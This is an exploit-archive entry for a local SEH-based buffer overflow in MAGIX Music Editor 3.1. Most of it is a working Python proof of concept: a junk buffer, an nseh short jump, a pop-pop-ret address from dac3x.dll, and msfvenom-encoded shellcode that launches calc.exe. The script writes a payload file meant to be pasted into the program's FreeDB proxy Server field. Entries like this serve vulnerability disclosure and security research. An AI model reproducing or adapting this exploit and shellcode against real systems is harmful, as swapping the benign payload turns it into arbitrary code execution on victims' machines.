MAGIX Music Editor 3.1 Buffer Overflow

2018.12.30
Credit: bzyo
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

Exploit Title: MAGIX Music Editor 3.1 - Buffer Overflow (SEH) # Exploit Author: bzyo # Twitter: @bzyo_ # Date: 2018-12-24 # Vulnerable Software: MAGIX Music Editor 3.1 # Vendor Homepage: https://www.magix.com/us/ # Version: 3.1 # Software Link: https://www.magix.com/us/music/mp3-deluxe/ # Music Editor Software is bundled with MP3 Deluxe 19 # Tested Windows 7 SP1 x86 # PoC # 1. run script # 2. open music editor 3 # 3. go to CD > freedb options > FreeDB Proxy Options # 4. copy/paste magix.txt contents into Server field # 5. select Accept settings # 6. pop calc #!/usr/bin/python filename="magix.txt" #lol junk = "A"*420 #jump 6 nseh = "\xeb\x06\xcc\xcc" #0x10015b08 : pop ecx # pop ecx # ret | ascii {PAGE_EXECUTE_READ} [dac3x.dll] seh = "\x08\x5b\x01\x10" #msfvenom -a x86 -p windows/exec CMD=calc.exe -b "\x00" -e x86/alpha_mixed -f c #Payload size: 447 bytes calc = ("\xda\xd4\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b" "\x4c\x4b\x58\x4b\x32\x67\x70\x55\x50\x45\x50\x45\x30\x6e\x69" "\x6b\x55\x54\x71\x49\x50\x65\x34\x6c\x4b\x72\x70\x70\x30\x6e" "\x6b\x76\x32\x46\x6c\x6c\x4b\x43\x62\x65\x44\x4e\x6b\x50\x72" "\x64\x68\x66\x6f\x58\x37\x52\x6a\x31\x36\x45\x61\x4b\x4f\x6e" "\x4c\x67\x4c\x43\x51\x61\x6c\x75\x52\x34\x6c\x51\x30\x6b\x71" "\x7a\x6f\x56\x6d\x45\x51\x78\x47\x7a\x42\x4c\x32\x56\x32\x56" "\x37\x6e\x6b\x32\x72\x42\x30\x4e\x6b\x32\x6a\x37\x4c\x6c\x4b" "\x72\x6c\x67\x61\x61\x68\x4a\x43\x30\x48\x73\x31\x6b\x61\x66" "\x31\x6e\x6b\x43\x69\x57\x50\x46\x61\x5a\x73\x4c\x4b\x51\x59" "\x42\x38\x4d\x33\x37\x4a\x30\x49\x6e\x6b\x46\x54\x6c\x4b\x76" "\x61\x68\x56\x65\x61\x4b\x4f\x4c\x6c\x5a\x61\x78\x4f\x56\x6d" "\x56\x61\x58\x47\x65\x68\x4b\x50\x53\x45\x48\x76\x37\x73\x71" "\x6d\x78\x78\x55\x6b\x31\x6d\x44\x64\x64\x35\x59\x74\x72\x78" "\x4c\x4b\x31\x48\x66\x44\x36\x61\x6a\x73\x70\x66\x6e\x6b\x74" "\x4c\x42\x6b\x6e\x6b\x46\x38\x57\x6c\x36\x61\x38\x53\x6c\x4b" "\x64\x44\x6c\x4b\x46\x61\x5a\x70\x6d\x59\x32\x64\x61\x34\x46" "\x44\x53\x6b\x61\x4b\x63\x51\x36\x39\x31\x4a\x52\x71\x69\x6f" "\x4b\x50\x71\x4f\x61\x4f\x70\x5a\x6e\x6b\x66\x72\x78\x6b\x6c" "\x4d\x31\x4d\x31\x7a\x43\x31\x4e\x6d\x4b\x35\x68\x32\x47\x70" "\x65\x50\x65\x50\x36\x30\x62\x48\x54\x71\x4c\x4b\x42\x4f\x4f" "\x77\x59\x6f\x4e\x35\x4d\x6b\x68\x70\x68\x35\x4d\x72\x52\x76" "\x30\x68\x4e\x46\x5a\x35\x4d\x6d\x6f\x6d\x59\x6f\x4a\x75\x35" "\x6c\x46\x66\x73\x4c\x75\x5a\x4d\x50\x69\x6b\x79\x70\x51\x65" "\x76\x65\x6f\x4b\x33\x77\x74\x53\x31\x62\x70\x6f\x73\x5a\x33" "\x30\x76\x33\x39\x6f\x58\x55\x30\x63\x75\x31\x52\x4c\x73\x53" "\x36\x4e\x52\x45\x53\x48\x32\x45\x65\x50\x41\x41") fill = "C"*2000 buffer = junk + nseh + seh + calc + fill textfile = open(filename , 'w') textfile.write(buffer) textfile.close()


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